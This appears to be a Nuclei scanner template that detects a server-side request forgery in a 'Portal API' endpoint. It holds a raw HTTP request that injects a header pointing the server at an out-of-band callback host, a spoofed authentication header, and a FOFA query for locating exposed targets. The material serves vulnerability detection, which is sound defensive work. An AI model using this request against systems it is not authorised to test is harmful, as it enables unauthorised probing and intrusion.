portal-api-ssrf: Portal API - Server Side Request Forgery

id: portal-api-ssrf

info:
  name: Portal API - Server Side Request Forgery
  author: ishowtess
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) vulnerability in the Portal API endpoint by injecting a crafted X-Portal-Context-Origin header.
  reference:
    - https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
  classification:
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/_proxy/api/v3/"
  tags: ssrf,api,portal,http,vuln

http:
  - raw:
      - |
        GET /_proxy/api/v3/portal HTTP/1.1
        Host: {{Hostname}}
        X-Portal-Context-Origin: HttP://{{interactsh-url}}?%00
        X-Portal-Session-Authenticated: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "/api/v3/portal")'
        condition: and

    extractors:
      - type: regex
        name: interaction_id
        part: interactsh_request
        regex:
          - "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
# digest: 4a0a0047304502210087773f22d6a4b049111a0cce2bfc706c45642c15c278c3c6334091664db1151c02205a40c27680ad1e4eab52f66b33b1cd03025285470a7fe44248e7700ed96333fd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.